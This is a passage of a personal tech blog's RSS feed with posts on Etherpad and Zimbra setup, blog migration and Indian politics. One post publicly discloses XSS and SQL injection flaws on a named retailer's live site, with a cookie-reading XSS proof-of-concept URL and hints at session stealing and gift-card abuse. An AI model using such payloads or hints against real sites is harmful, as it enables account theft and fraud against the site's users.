&lt;p&gt;These are the references from Exiled Online[&lt;a href="http://exiledonline.com/enemy-of-larry-summers-ex-boss-dies-in-mysterious-helicopter-crash/"&gt;1&lt;/a&gt;][&lt;a href="http://74.125.153.132/search?q=cache%3Ahttp%3A%2F%2Fexiledonline.com%2Fenemy-of-larry-summers-ex-boss-dies-in-mysterious-helicopter-crash%2F&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;mirror&lt;/a&gt;], [&lt;a href="http://exiledonline.com/one-degree-of-larry-summers-meet-larry%E2%80%99s-ex-boss-a-billionaire-with-a-blood-feud"&gt;2&lt;/a&gt;][&lt;a href="http://74.125.153.132/search?q=cache%3Ahttp%3A%2F%2Fexiledonline.com%2Fone-degree-of-larry-summers-meet-larry%25E2%2580%2599s-ex-boss-a-billionaire-with-a-blood-feud%2F&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;mirror&lt;/a&gt;]. Both articles attack Mukesh Ambani. Its obvious that none has any proofs till now and the author of article is just deducing stories by reading news items from other sources[&lt;a href="http://www.zimbio.com/Mukesh+Ambani/articles/226/Helicopter+sabotage+targets+Indian+billionaire"&gt;1&lt;/a&gt;][&lt;a href="http://www.nytimes.com/2009/04/30/business/global/30ambani.html?_r=1"&gt;2&lt;/a&gt;][&lt;a href="http://timesofindia.indiatimes.com/news/business/india-business/Ambani-MoU-has-mothers-views-on-gas/articleshow/4872875.cms"&gt;3&lt;/a&gt;][&lt;a href="http://blog.taragana.com/n/andhra-pradesh-seeks-due-share-of-reliance-gas-114635/"&gt;4&lt;/a&gt;].&lt;/p&gt;
&lt;p&gt;And the &lt;a href="http://news.rediff.com/report/2010/jan/07/mobs-attack-anil-ambanis-offices-in-andhra.htm"&gt;result&lt;/a&gt; of the above mess - Congress workers attack &amp;#8220;Anil&amp;#8221; Ambani&amp;#8217;s offices in Hyderabad. Seriously&amp;#160;??? Anil Ambani, himself was a victim in the above story, and his offices are being attacked.&lt;/p&gt;
&lt;p&gt;So, TL;DR - One wannabe fiction writer, creates a conspiracy based on various articles. Hungry for sensation - Indian Media sensationalize the story after three months. Work-less political party workers attack younger brother&amp;#8217;s offices even though the villain in the conspiracy is the elder brother.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/322046284</link><guid>http://karteek.selfdabba.com/post/322046284</guid><pubDate>Fri, 08 Jan 2010 02:27:00 +0530</pubDate><category>YSR</category><category>Mukesh Ambani</category><category>Conspiracy</category></item><item><title>LandMark, XSS and The Injection</title><description>&lt;p&gt;So, Landmark, a famous book/music/movies store in India is on the net at &lt;a href="http://www.landmarkonthenet.com/index.aspx"&gt;LandmarkOnTheNet.com&lt;/a&gt;. I was there to check whether they sell 3D glasses, even though there are some cheap paper glasses on ebay.in, but I want better quality. As usual, the bad habit of checking for SQL Injections and XSS tingled in my brain.&lt;/p&gt;
&lt;p&gt;Apparently, LandmarkOnTheNet has both the problems.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.landmarkonthenet.com/product/SearchList.aspx?code=%22)%3b+alert(%5B%22XSS:%22,document.cookie%5D.join())%3b(%22&amp;amp;type=0&amp;amp;num=0"&gt;&lt;img src="http://media.tumblr.com/tumblr_kvtbkjGJTt1qas7hr.png"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;and for SQL Injection, I didn&amp;#8217;t try much, just give a single quote as input in search, the server choked with an error in the SQL Query (it actually told what the error is and where the error is; what a away to configure the production server)&lt;/p&gt;
&lt;p&gt;So, there are many things you can have fun with above two, these are the keywords - My Account, Session Stealing, Gift Cards, SQL Injection, PIN Numbers, Free Shipping.&lt;/p&gt;
&lt;p&gt;If I were a landmark website user, I would ensure that my browser is Firefox with NoScript addon installed. If I were a landmark webmaster, I would buy a book on Web Security right now, ah nevermind, I would just search in Google for tips of fixing XSS and SQL Injection vulnerabilities and fix them ASAP. I might also feel very bad for &lt;a href="http://www.hotdesign.com/seybold/"&gt;using so many tables&lt;/a&gt; in my markup.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/319392499</link><guid>http://karteek.selfdabba.com/post/319392499</guid><pubDate>Wed, 06 Jan 2010 12:24:00 +0530</pubDate><category>Landmark</category><category>XSS</category><category>SQL Injection</category><category>They</category></item><item><title>It's a new decade</title><description>&lt;p&gt;And &amp;#8230; Good Luck for that.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_kvk5q2dUNU1qas7hr.png"/&gt;&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/310930181</link><guid>http://karteek.selfdabba.com/post/310930181</guid><pubDate>Fri, 01 Jan 2010 13:09:00 +0530</pubDate><category>New Year</category><category>2010</category></item><item><title>Etherpad; Opensourced</title><description>&lt;p&gt;Etherpad is a lovely app which is bought by google and was opensourced 10 days before. Now, just to add a drop of water to the ocean.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;A small how-to on deploying Etherpad&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;The package&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Etherpad source from &lt;a href="http://code.google.com/p/etherpad"&gt;&lt;a href="http://code.google.com/p/etherpad"&gt;http://code.google.com/p/etherpad&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Some minor fixes and changes, here and there&lt;/li&gt;
&lt;li&gt;File Imports [&lt;a href="https://gist.github.com/273835"&gt;gist&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;File exports to DOC/PDF/ODT using Oo.org [&lt;a href="http://gist.github.com/264968"&gt;gist&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;b&gt;How to compile, run and test&lt;/b&gt;&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;Grab the code from my github repository&lt;br/&gt;$&lt;i&gt; git clone &lt;a href="http://github.com/karteek/etherpad"&gt;git://github.com/karteek/etherpad.git&lt;/a&gt;&lt;br/&gt;&lt;/i&gt;You can optionally do a &lt;i&gt;diff -r to above created clone with original clone to see the changes I&amp;#8217;ve made to the code.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set up the environment to compile the code. Open the provided env.sh, and look at the needed variables. Existing values are values from my MBP, and they most probably won&amp;#8217;t work for you&lt;br/&gt;$&lt;i&gt; source env.sh&lt;/i&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a database &amp;#8220;etherpad&amp;#8221; on your MySQL database. Same time, create a user &amp;#8220;etherpad&amp;#8221; with password &amp;#8220;password&amp;#8221; and grant him all privileges on the database &amp;#8220;etherpad&amp;#8221;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update etherpad.SQL_JDBC_URL, etherpad.SQL_USERNAME, etherpad.SQL_PASSWORD and etherpad.adminPass in the file &lt;i&gt;etherpad/etc/etherpad.localdev-default.properties&lt;/i&gt;&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;etherpad.SQL_JDBC_URL is the jdbc URL of your database (in our case, its &lt;i&gt;jdbc:mysql://localhost:3306/etherpad&lt;/i&gt; )&lt;/li&gt;
&lt;li&gt;etherpad.SQL_USERNAME is the username to connect to database (in our case, its &lt;i&gt;etherpad&lt;/i&gt;)&lt;/li&gt;
&lt;li&gt;etherpad.SQL_PASSWORD is the password to connect to database (in our case, its &lt;i&gt;password&lt;/i&gt;)&lt;/li&gt;
&lt;li&gt;etherpad.adminPass is the password needed to login to admin panel of Etherpad instance&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Change directory to etherpad, compile the jar, and start the server&lt;br/&gt;$ &lt;i&gt;cd etherpad&lt;/i&gt;&lt;br/&gt;$ &lt;i&gt;bin/rebuildjar.sh&lt;br/&gt;&lt;/i&gt;$ &lt;i&gt;bin/run-local.sh&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;Now, fire up your browser, and visit http://localhost:9000 to play with your instance&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;b&gt;File Imports&lt;br/&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;File Imports depend on com.oreilly.servlet (cos.jar found at &lt;a href="http://www.servlets.com/cos/"&gt;&lt;a href="http://www.servlets.com/cos/"&gt;http://www.servlets.com/cos/&lt;/a&gt;&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Check their license @ &lt;a href="http://www.servlets.com/cos/license.html"&gt;&lt;a href="http://www.servlets.com/cos/license.html"&gt;http://www.servlets.com/cos/license.html&lt;/a&gt;&lt;/a&gt;. If you are fine with their license, download cos.jar and copy it to &lt;i&gt;infrastructure/lib &lt;/i&gt;folder&lt;/li&gt;
&lt;li&gt;Search for locations where file upload related code is commented, and uncomment the code.&lt;br/&gt;$ &lt;i&gt;grep -r &amp;#8220;REMOVED_COS_OF_COS&amp;#8221; *&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;Recompile the package&lt;br/&gt;$ &lt;i&gt;cd etherpad&lt;/i&gt;&lt;br/&gt;$ &lt;i&gt;bin/rebuildjar.sh&lt;/i&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;b&gt;File Exports&lt;/b&gt;&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;File exports depend on Openoffice.org for conversion&lt;/li&gt;
&lt;li&gt;You need to start Oo.org as a service&lt;br/&gt;$ &lt;i&gt;/path/to/openoffice/soffice.bin -headless -nofirststartwizard               -accept=&amp;#8221;socket,host=localhost,port=8100;urp;StarOffice.Service&amp;#8221;&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;Just make sure that &lt;i&gt;etherpad.soffice &lt;/i&gt;has some value in &lt;i&gt;etherpad/etc/etherpad.localdev-default.properties&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;Check &lt;i&gt;infrastructure/com.etherpad.openofficeservice/importexport.scala&lt;/i&gt; for more information&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;b&gt;How to deploy the same on example.com&lt;/b&gt;&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.google.com/search?q=wild+card+dns"&gt;Wild card dns&lt;/a&gt; for your domain. Point *.example.com to same server where example.com resides. This is the server where you are deploying this instance.&lt;/li&gt;
&lt;li&gt;Make sure that your SMTP is working. Activation of Pro accounts happen over email, so its important.&lt;/li&gt;
&lt;li&gt;Open etherpad/src/main.js, and update domain in line #273&lt;/li&gt;
&lt;li&gt;Open etherpad/src/etherpad/globals.js and change the domain in variable  SUPERDOMAINS found at line #30&lt;/li&gt;
&lt;li&gt;Open etherpad/src/static/crossdomain.xml and add your domain to crossdomains.xml&lt;/li&gt;
&lt;li&gt;Look into &lt;i&gt;etherpad/src&lt;/i&gt; folder and search for &lt;i&gt;etherpad.com&lt;/i&gt;. You will find many locations, where your instance will be coded to mail from an @etherpad.com account. Update all of them to your domain. &lt;br/&gt;$ &lt;i&gt;grep -ir &amp;#8220;etherpad.com&amp;#8221; *&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;Open &lt;i&gt;etherpad/etc/etherpad.localdev-default.properties&lt;/i&gt; and update                                      
&lt;ul&gt;&lt;li&gt;devMode to false&lt;/li&gt;
&lt;li&gt;etherpad.isProduction to true&lt;/li&gt;
&lt;li&gt;listen to example.com:80&lt;/li&gt;
&lt;li&gt;etherpad.isPNE to true (only if you want to run in PNE mode)&lt;/li&gt;
&lt;li&gt;And ofcourse, change etherpad.adminPass&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;As long as you din&amp;#8217;t change anything in &lt;i&gt;infrastructure&lt;/i&gt; folder, you need not recompile the jar. So, just go ahead and start the server. For starting a server on port numbers less than 1000, you will need to have root access on OS X.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;b&gt;Running the instance behind Apache using mod_proxy&lt;/b&gt;&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;Do the same as above from steps #1 to #7. &lt;/li&gt;
&lt;li&gt;In step #7, rather than changing listen to example.com:80, change it to localhost:9000 or just 9000&lt;/li&gt;
&lt;li&gt;Start the server using &lt;i&gt;bin/run-local.sh&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;Your apache configuration might look like - &lt;br/&gt;&lt;pre&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;br/&gt;ServerName      &lt;a href="http://www.example.com"&gt;www.example.com&lt;/a&gt;&lt;br/&gt;ServerAlias       *.example.com&lt;br/&gt;ServerAdmin     admin@example.com&lt;br/&gt;ErrorLog        /var/log/apache2/etherpad.error.log&lt;br/&gt;LogLevel warn&lt;br/&gt;CustomLog /var/log/apache2/etherpad.access.log combined&lt;br/&gt;ServerSignature Off&lt;br/&gt;ProxyPass / http://localhost:9000/ &lt;br/&gt;ProxyPassReverse / http://localhost:9000/&lt;br/&gt;ProxyPreserveHost on&lt;br/&gt;  &amp;lt;Proxy *&amp;gt; &lt;br/&gt;    Options FollowSymLinks MultiViews&lt;br/&gt;    AllowOverride All&lt;br/&gt;    Order allow,deny&lt;br/&gt;    Allow from all&lt;br/&gt;  &amp;lt;/Proxy&amp;gt;&lt;br/&gt;&amp;lt;/VirtualHost&amp;gt;&lt;br/&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;This might or might not work for you. Anyway, I guess you got the idea. Check &lt;a href="http://httpd.apache.org/docs/2.0/mod/mod_proxy.html"&gt;manual&lt;/a&gt; for more information&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Well, the patch I wrote for enabling file exports so as this tutorial come with no warranty. Don&amp;#8217;t ask me even if it breaks your bones. This is what I did, following it is completely your choice. Code from Etherpad is under the license they specified. The file import part depends on &lt;a href="http://www.servlets.com/cos/javadoc/com/oreilly/servlet/MultipartWrapper.html"&gt;MultipartWrapper&lt;/a&gt; and &lt;a href="http://www.servlets.com/cos/javadoc/com/oreilly/servlet/MultipartFilter.html"&gt;MultipartFilter&lt;/a&gt;. If you don&amp;#8217;t like &lt;a href="http://www.servlets.com/cos/license.html"&gt;their license&lt;/a&gt;, its better to write your own code for doing their work.&lt;/p&gt;
&lt;p&gt;Feel free to ask any doubts and/or fix my bugs. There is a great &lt;a href="http://pauleira.com/13/installing-etherpad/"&gt;tutorial&lt;/a&gt; on installing Etherpad by &lt;a href="http://pauleira.com"&gt;Nuba Princigalli&lt;/a&gt;. Do check it, if you find any problems with my post.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/301488675</link><guid>http://karteek.selfdabba.com/post/301488675</guid><pubDate>Sat, 26 Dec 2009 23:18:00 +0530</pubDate><category>Etherpad</category><category>Tutorial</category><category>Patch</category></item><item><title>Zimbra and EC2</title><description>&lt;p&gt;Zimbra offers an awesome Open Source collaboration suite. EC2 is an awesome compute cloud service. The points I learned and did while deploying Zimbra on EC2.&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;Zimbra on Ubuntu is supported on Hardy (8.04), but not newer. Install only if you want an adventure. I didn&amp;#8217;t want an adventure, and I love Hardy. &lt;/li&gt;
&lt;li&gt;Hardy EBS backed image was not available on Amazon (by today) So, I did &lt;a href="http://karteek.selfdabba.com/post/298564634/ebs-backed-ec2-life-made-easy"&gt;this&lt;/a&gt;, and got things ready. (If you want the AMI, let me know. I can share the same with you.)&lt;/li&gt;
&lt;li&gt;Download Zimbra Ubuntu package, unpack stuff and &amp;#8230; wait.&lt;/li&gt;
&lt;li&gt;Zimbra uses LDAP for maintaining user registry, so, you need to know that Zimbra is going to install LDAP for you.&lt;/li&gt;
&lt;li&gt;But, LDAP has a weird habit of checking for host over DNS even if you install the LDAP server on same machine AND editing /etc/hosts file do not suffice.&lt;/li&gt;
&lt;li&gt;So, you need few entries in your DNS.&lt;ol&gt;&lt;li&gt;MX Entry for your website. (MX entry tells which server will handle mails for that particular domain)&lt;/li&gt;
&lt;li&gt;A Entry for your MX server. (that particular mail server should be resolved to an IP)&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;This should solve your problems if your servers are connected to internet, but most of time, they do not. They will be behind a firewall, and they will have LAN IPs which won&amp;#8217;t be same as your public IPs, and your server might not even know that it has a public IP (server will just know natted IP). This is just the case with EC2. &lt;/li&gt;
&lt;li&gt;So, now you need to configure a DNS server on your LAN to do the work for you. Follow &lt;a href="http://www.ubuntugeek.com/dns-server-setup-using-bind-in-ubuntu.html"&gt;this&lt;/a&gt; tutorial on how to create zones. It will help you to create proper entries on your Bind server. &lt;/li&gt;
&lt;li&gt;Confirm that your Bind server is working by doing. Replace example.com and mail.example.com with appropriate domain names.
&lt;ul&gt;&lt;li&gt;dig @localhost example.com MX  - to see your server&amp;#8217;s MX record&lt;/li&gt;
&lt;li&gt;dig @localhost mail.example.com A - to see your mail server&amp;#8217;s A record&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Once, local DNS is configured. Add an entry to your /etc/resolv.conf and also add mail.example.com xxx.xxx.xxx.xxx to your /etc/hosts. Replace domain and IP appropriately.&lt;/li&gt;
&lt;li&gt;Now, you can continue with installation of Zimbra. Just start the installation. And follow the steps. Zimbra installation, by itself is a fairly simple process. &lt;/li&gt;
&lt;li&gt;During the installation process, Zimbra will think that mail.example.com is the domain for which you are installing, and try to check MX record for it. As, we do not want email for our mail server (we dont want mail@mail.example.com, rather we want mail@example.com), we didn&amp;#8217;t not create any MX entries for for mail.example.com. So, Zimbra will fail to check for MX record of mail.example.com and ask whether you want to change it. Now, change it to example.com&lt;/li&gt;
&lt;li&gt;And, finish installation.&lt;/li&gt;
&lt;li&gt;Last and important, goto your AWS console, Security Groups, and enable SMTP, SMTPS (IMAP, IMAPS, POP3, POP3S ports if needed)&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Now, as you are on EC2, there are some issues, you are going to face.&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;EC2 doesn&amp;#8217;t support reverse DNS, which means, your example.com will resolve to Amazon IP, but that amazon IP when nslookup&amp;#8217;ed on, will return something like ec2-xxx-xxx-xxx-xxx.compute-1.amazonaws.com rather than example.com. There is no way of changing this as of now. LittleScrewed.&lt;/li&gt;
&lt;li&gt;That means, some mail servers might not accept your mails, thinking that your spamming. Screwed.&lt;/li&gt;
&lt;li&gt;EC2 has very bad limit on sending outgoing emails from its SMTP ports. I got an email from EC2 abuse for sending 10 emails. Totally Screwed.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;But, as light at end of the tunnel, there are few things you can do.&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;You can use an external SMTP service to send email. For that you have to configure your MTA ie., Postfix here, to relay emails using that external SMTP service. Of course, the a reliable external SMTP service will add some weight to your bill.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://spfwizard.com/"&gt;Configure&lt;/a&gt; a proper SPF on your DNS and pray that all mail servers accept your email.&lt;/li&gt;
&lt;li&gt;Rather than going for external SMTP, you can configure SPF and &lt;a href="http://aws.amazon.com/contact-us/ec2-email-limit-request/"&gt;request&lt;/a&gt; Amazon to increate your email limit and hope they approve.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;But, because bad things always happen, few mail servers like my employers, throw you a &lt;a href="http://www.google.com/search?q=SMTP+554+error"&gt;554&lt;/a&gt; code when reverse DNS fail for your IP. Logically speaking, things should work when proper SPF is configured, but, this is practical world. Things are always beyond the control of standards. If you are an IE user, you would never know this.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/298633324</link><guid>http://karteek.selfdabba.com/post/298633324</guid><pubDate>Thu, 24 Dec 2009 22:00:22 +0530</pubDate><category>Zimbra</category><category>EC2</category><category>TechTips</category></item><item><title>EBS backed EC2 - Life made easy</title><description>&lt;p&gt;After Amazon launched EC2 back in 2006, they&amp;#8217;ve been adding new features in regular intervals. On EC2, for starters, one thing that confuses a lot is the lack of persistent storage - in simple words, you lose all changes made and data once you reboot. There were options like S3 and EBS though to over come this problem. But, much configuration is needed, need for regular backups, booting was slower etc., etc.&lt;/p&gt;
&lt;p&gt;One of their recent addition to features list is &lt;a href="http://aws.typepad.com/aws/2009/12/new-amazon-ec2-feature-boot-from-elastic-block-store.html"&gt;EBS-backed&lt;/a&gt; AMI. It allows an EBS volume to be root device for an instance, in other words, one can boot an instance from EBS volume. Property of EBS is being persistent, which automatically makes your instance&amp;#8217;s root persistant, which means, one can reboot their instance as much as they want without having to worry about losing changes they made to the settings or their data. So, conclusion is EBS backed EC2 is &amp;#8230; cool.&lt;/p&gt;
&lt;p&gt;But, if you are an Ubuntu guy like me, you would be disappointed to see that there are only 4 (as of now) public EBS based Ubuntu Images on EC2 right now, and you would be even more disappointed to see that none of them is Hardy (8.04.3 LTS) image. No LTS image. But, Everything&amp;#8217;s shiny captain, nothing to fret. One very nice tutorial and a kick-ass Python API for EC2 come to rescue.&lt;/p&gt;
&lt;p&gt;This tutorial on &lt;a href="http://www.elastician.com/2009/12/creating-ebs-backed-ami-from-s3-backed.html"&gt;Elastician&lt;/a&gt; which is based on &lt;a href="http://code.google.com/p/boto/"&gt;Boto&lt;/a&gt; comes to rescue and help you to create an EBS-backed AMI. Before going through and following that tutorial, just make sure that you have latest version of Boto (&amp;gt;1.8d). Just make sure that the AMI which you are using to create an EBS-backed AMI is a reliable one.&lt;/p&gt;
&lt;p&gt;By the way, you can see an awesome list of available images at &lt;a href="http://thecloudmarket.com/"&gt;The Cloud Market&lt;/a&gt;.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/298564634</link><guid>http://karteek.selfdabba.com/post/298564634</guid><pubDate>Thu, 24 Dec 2009 20:54:00 +0530</pubDate><category>EC2</category><category>EBS</category><category>Boto</category></item><item><title>Migration of blog to Tumblr</title><description>&lt;p&gt;After two years of my &lt;a href="http://karteek.selfdabba.com/post/286133348/the-chronicles-of-migration"&gt;last migration &lt;/a&gt;from blogspot to wordpress, Here I am, after 3 years of blogging, migrated to third service. This time, moving out of self-hosted wordpress to a nice hosted solution Tumblr. You might haven&amp;#8217;t seen many differences other than theme becoming extremely minimalistic.&lt;/p&gt;
&lt;p&gt;Well, there are the changes.&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;Now, the service is no longer wordpress, its Tumblr :D&lt;/li&gt;
&lt;li&gt;All posts are migrated&lt;/li&gt;
&lt;li&gt;All comments are migrated to Disqus, a very good global comment system&lt;/li&gt;
&lt;li&gt;URLs of all posts are changed, but any time you can you use the search&lt;/li&gt;
&lt;li&gt;All bookmarks, external links, google indexed pages till re-indexing are broken. Boo Hoo.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Migration went smooth, but there was a small problem for doing the same. There were no softwares available to do the same. &amp;#8220;Migration from Wordpress to Tumblr&amp;#8221;. If any existed, they will certainly miss migrating the comments or the attachments you&amp;#8217;ve done in your previous wordpress blog. And, it of course is a tedious task to migrate everything if you do that manually.&lt;/p&gt;
&lt;p&gt;So, on my way here, I wrote a small script for doing the same - Wordpress to Tumblr migration. I called it Wp2Tumblr.Py&lt;/p&gt;
&lt;p&gt;Well, it does the following things -&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;Takes your wordpress extended rss archive and parses it&lt;/li&gt;
&lt;li&gt;Post all your wordpress posts to Tumblr&lt;/li&gt;
&lt;li&gt;While doing above step, it posts all your image uploads to Tumblr as Private post, extract the url of the image from Tumblr post, change the same in  your wordpress post.&lt;/li&gt;
&lt;li&gt;Migrate all the comments of the post to your disqus account and link them to your post&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Well, as I promised, I&amp;#8217;m going to release all my personal code as opensource under WTFPL. So, if you&amp;#8217;ve a similar requirement, you can clone the repo from &lt;a href="http://github.com/karteek/wp2tumblr.py"&gt;&lt;a href="http://github.com/karteek/wp2tumblr.py"&gt;http://github.com/karteek/wp2tumblr.py&lt;/a&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;By the way, I didn&amp;#8217;t tell you whats better in Tumblr than Wordpress yet. These are few I found as new&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Totally customizable themes. Of course, you can do same on self-hosted versions of wordpress. Paid feature on wordpress.com, I guess.&lt;/li&gt;
&lt;li&gt;Multiple of types of posts. Unnecessary in my opinion, but what the hell.&lt;/li&gt;
&lt;li&gt;Custom domain support. Self hosted wordpress, obvious. wordpress.com, its a paid feature.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Above all, the main reason, I wanted to move to a hosted service. Blogger is too messy. Comment system sucks there. Wordpress is nice, but I couldn&amp;#8217;t get username &amp;#8216;karteek&amp;#8217; and custom domains are not part of standard feature set and I was feeling all excited for an adventure :p&lt;/p&gt;
&lt;p&gt;I still think that Wordpress is the best blogging software available, but updating the codebase, payment to the hosting provider etc etc are few things you really are not supposed to be worrying about when you blog for fun. Tumblr made life easy, without losing my identity - karteek.selfdabba.com. All I had to do is point my subdomain&amp;#8217;s A record to Tumblr&amp;#8217;s server.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/290221263</link><guid>http://karteek.selfdabba.com/post/290221263</guid><pubDate>Sat, 19 Dec 2009 17:56:00 +0530</pubDate><category>Wordpress</category><category>Tumblr</category><category>Migration</category><category>Wp2Tumblr</category><category>TechTips</category><category>Chronicles</category></item><item><title>Its a year and ...</title><description>&lt;p&gt;&lt;p style="clear: both"&gt;Its been a year that Bombay was attacked by terrorists and killed a 166 innocent people. Well, whats happening after that. &lt;/p&gt;&lt;p style="clear: both"&gt;- India has got a new guest. Terrorist Kasab. Yeah, Government has spent 31 crores for his safety&lt;br/&gt;- Pakistan is still playing blame game that India is not giving enough evidence to arrest Saeed, founder of a terrorist group Lashkar-e-Taiba&lt;br/&gt;- US is giving more and more aid to Pakistan to fight terrorism&lt;br/&gt;- India is expecting US to be headmaster and detain Pakistan&lt;br/&gt;- Pakistan is expecting US to be headmaster and force India to give Kashmir to Pakistan&lt;br/&gt;- US doesn&amp;#8217;t care if Pakistan is sending terrorists to India as long as it kills the terrorists which are attacking the US.&lt;br/&gt;- Headmaster as well as both the kids know that things are not moving anywhere.&lt;/p&gt;&lt;p style="clear: both"&gt;So, after all the crap that has happened in last one year, troubled remained troubled, terrorists remained terrorists, victims remained victims, and every one&amp;#8217;s shitty life just remained shitty life. Just to find out what Google thinks about India and Pakistan, I took couple of screenshots - &lt;/p&gt;&lt;p style="clear: both"&gt;&lt;a href="http://karteek.tumblr.com/photo/1280/286187489/1/tumblr_kur3y0JuYY1qaycuy" class="image-link"&gt;&lt;img class="linked-to-original" src="http://15.media.tumblr.com/tumblr_kur3y9DHYH1qaycuyo1_400.png" height="259" align="left" width="378" style=" display: inline; float: left; margin: 0 10px 10px 0;"/&gt;&lt;/a&gt; So, people who search Google think that India is the richest country in the world, in asia, a third world country, great, Afghanistan&amp;#8217;s largest trading partner. They want to know what India is known for and which continent it is in.&lt;/p&gt;&lt;p style="clear: both"&gt;&lt;a href="http://karteek.tumblr.com/photo/1280/286187347/1/tumblr_kur3xqTsLw1qaycuy" class="image-link"&gt;&lt;img class="linked-to-original" src="http://8.media.tumblr.com/tumblr_kur3ximzmP1qaycuyo1_400.png" height="250" align="left" width="379" style=" display: inline; float: left; margin: 0 10px 10px 0;"/&gt;&lt;/a&gt;And about Pakistan, they think that its failed state, dangerous, doomed, a problem and a mess and few think its better than India. Few want to know where it is located. &lt;/p&gt;&lt;p style="clear: both"&gt;Well, as an Indian, I think Pakistan&amp;#8217;s leaders are stupid, immature at the same time, Indian leaders are just stupid other than a few like Raj Thackeray. They are stupid as well as immature.&lt;/p&gt;&lt;p style="clear: both"&gt;TL;DR - One year over after attacks. No progress, none punished. Pakistan leaders are stupid.&lt;/p&gt;&lt;br class="final-break" style="clear: both"/&gt;&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/286188676</link><guid>http://karteek.selfdabba.com/post/286188676</guid><pubDate>Sun, 29 Nov 2009 07:00:20 +0530</pubDate><category>India</category><category>Pakistan</category><category>Politicians</category><category>Terrorism</category></item></channel></rss>

